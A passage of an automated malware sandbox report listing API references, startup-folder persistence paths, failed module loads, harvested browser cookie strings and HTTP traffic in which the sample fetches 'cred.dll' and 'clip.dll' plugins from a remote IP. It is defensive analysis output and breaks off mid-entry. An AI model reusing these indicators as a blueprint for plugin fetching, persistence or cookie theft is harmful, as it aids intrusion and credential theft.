(Indicator: "GetStringTypeW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")3e:T49c,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "1BC12Pi1.exe.3913938919") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; File: "2Aq2815.exe.2348412272") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")3f:T63a,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "file") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")40:T4e3,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "file") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "1BC12Pi1.exe.3913938919") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")41:T4c2,":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000368.00000000.69514.00610000.00000004.mdmp 00000000-00000368.00000001.70309.00610000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000368.00000000.69514.00610000.00000004.mdmp 00000000-00000368.00000001.70309.00610000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000368.00000000.69514.00610000.00000004.mdmp 00000000-00000368.00000001.70309.00610000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000368.00000000.69514.00610000.00000004.mdmp 00000000-00000368.00000001.70309.00610000.00000004.mdmp42:T19e4,"Vo8ml85.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "Vo8ml85.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "kx3Tv79.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "kx3Tv79.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "FM0nA02.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "FM0nA02.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "1BC12Pi1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "2Aq2815.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "3Hh02Er.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "4nL947Ei.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "4nL947Ei.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "4nL947Ei.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\system32\rsaenh.dll" - [base:74c50000; Status:c0000034] "AppLaunch.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll" - [base:0; Status:c0000135] "5VA7se4.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "6hE6Ue0.exe" failed to load missing module "OLEAUT32.dll" - [base:76530000; Status:c0000034] "cmd.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "cacls.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "explothe.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "explothe.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "explothe.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135]43:T66e,"file" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Vo8ml85.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4nL947Ei.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "aM0RY76.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "3Hh02Er.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "kx3Tv79.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "FM0nA02.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "5VA7se4.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2Aq2815.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT44:Tb47,Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "file") Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "file") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "facebook.com"; File: "838C.bat") file/memory contains long string with (Indicator: "facebook.com"; File: "J7HK41LY.txt") file/memory contains long string with (Indicator: "youtube"; File: "031IOCLE.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_2_.css") file/memory contains long string with (Indicator: "facebook.com"; File: "L17ZPB1J.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "YGRN037I.txt") file/memory contains long string with (Indicator: "facebook.com"; File: "E2ZULZOC.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217407257395231067838421322765931065036VISITOR_INFO1_LIVEQk5zLdzvfWQyoutube.com/9217193469132831101232421432140931065036" (Indicator: "youtube"; File: "V3DE5WWH.txt") Found string "0fO88iHKuO5oNKzTl..BlMypx.e8.AAA.0.0.BlMypx.AWVEr7ek7Z8facebook.com/92172247585408310831279606850131065034cSozZauj9GASX4z0SI7GJJqpfacebook.com/9217379203955231145488347528579731065033" (Indicator: "facebook.com"; File: "XGKB87TS.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217407257395231067838421322765931065036" (Indicator: "youtube"; File: "LKZK48R5.txt") Found string "CheckConnectionTempCookie858609641accounts.youtube.com/accounts/21474847526342731523106513854057128131065138" (Indicator: "youtube"; File: "Y5ZGEM4A.txt") Found string "CheckConnectionTempCookie607933137accounts.youtube.com/accounts/2147484752136427904310650514272603331065051" (Indicator: "youtube"; File: "J80RIOU8.txt") Found string "cSozZauj9GASX4z0SI7GJJqpfacebook.com/9217379203955231145488347528579731065033" (Indicator: "facebook.com"; File: "K02G6FSJ.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "E3S4PDK8.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive" (Indicator: "facebook.com"; File: "SSL") file/memory contains long string with (Indicator: "facebook.com"; File: "SSL") file/memory contains long string with (Indicator: "youtube"; File: "SSL")45:T23fc,"GET /theme/Plugins/cred.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 404 Not Found Date: Sat 21 Oct 2023 01:33:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 200 OK Date: Sat 21 Oct 2023 01:33:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 30 Sep 2023 10:50:50 GMT ETag: "16400-60691507c4d20" Accept-Ranges: bytes Content-Length: 91136 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2216 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 21 Oct 2023 01:33:27 GMT Last-Modified: Sat 21 Oct 2023 00:56:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAtLH069n6%2By1et%2F8S6YorU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6367 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 21 Oct 2023 01:33:30 GMT Last-Modified: Fri 20 Oct 2023 23:47:23 GMT Server: ECAcc (sac/2550) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604145168FF90AF0207753CCCD9656462A212B859723B180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2220 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 21 Oct 2023 01:33:31 GMT Last-Modified: Sat 21 Oct 2023 00:56:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3021 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 21 Oct 2023 01:33:32 GMT Last-Modified: Sat 21 Oct 2023 00:43:11 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 45860 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 21 Oct 2023 01:33:33 GMT Etag: "614b5ba7-243" expires: Mon 23 Oct 2023 01:33:33 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 00:56:31 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 2222 Cache-Control: max-age=7200 Date: Sat 21 Oct 2023 01:33:33 GMT Last-Modified: Sat 21 Oct 2023 00:56:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT with response body ==>....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 45863 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 21 Oct 2023 01:33:36 GMT Etag: "614b5ba7-243" expires: Mon 23 Oct 2023 01:33:36 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 45866 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 21 Oct 2023 01:33:39 GMT Etag: "614b5ba7-243" expires: Mon 23 Oct 2023 01:33:39 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2546 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 21 Oct 2023 01:33:42 GMT Last-Modified: Sat 21 Oct 2023 00:51:16 GMT Server: ECAcc (sac/2568) X-Cache: HIT Content-Length: 314 with response body ==>308201360A0100A082012F3082012B06092B06010505073001010482011C3082011830819EA2160414B3DB48A4F9A1C5D8AE3641CC1163696229BC4BC6180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2548 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 21 Oct 2023 01:33:44 GMT Last-Modified: Sat 21 Oct 2023 00:51:16 GMT Server: ECAcc (sac/2568) X-Cache: HIT Content-Length: 314 with response body ==>308201360A0100A082012F3082012B06092B06010505073001010482011C3082011830819EA2160414B3DB48A4F9A1C5D8AE3641CC1163696229BC4BC6180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2551 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 21 Oct 2023 01:33:47 GMT Last-Modified: Sat 21 Oct 2023 00:51:16 GMT Server: ECAcc (sac/2568) X-Cache: HIT Content-Length: 314 with response body ==>308201360A0100A082012F3082012B06092B06010505073001010482011C3082011830819EA2160414B3DB48A4F9A1C5D8AE3641CC1163696229BC4BC6180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2856 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 21 Oct 2023 01:34:23 GMT Last-Modified: Sat 21 Oct 2023 00:46:47 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604144E2254201895E6E36EE60FFAFAB912ED06178F39180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1165 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 21 Oct 2023 01:35:36 GMT Last-Modified: Sat 21 Oct 2023 01:16:11 GMT Server: ECAcc (sac/254D) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041445EBA2AFF492CB82312D518BA7A7219DF36DC80F180F32.......46:T5e75,"file.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6d000000 "file.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "Vo8ml85.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "Vo8ml85.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "Vo8ml85.exe" loaded module "KERNEL32" at base 75c30000 "Vo8ml85.exe" loaded module 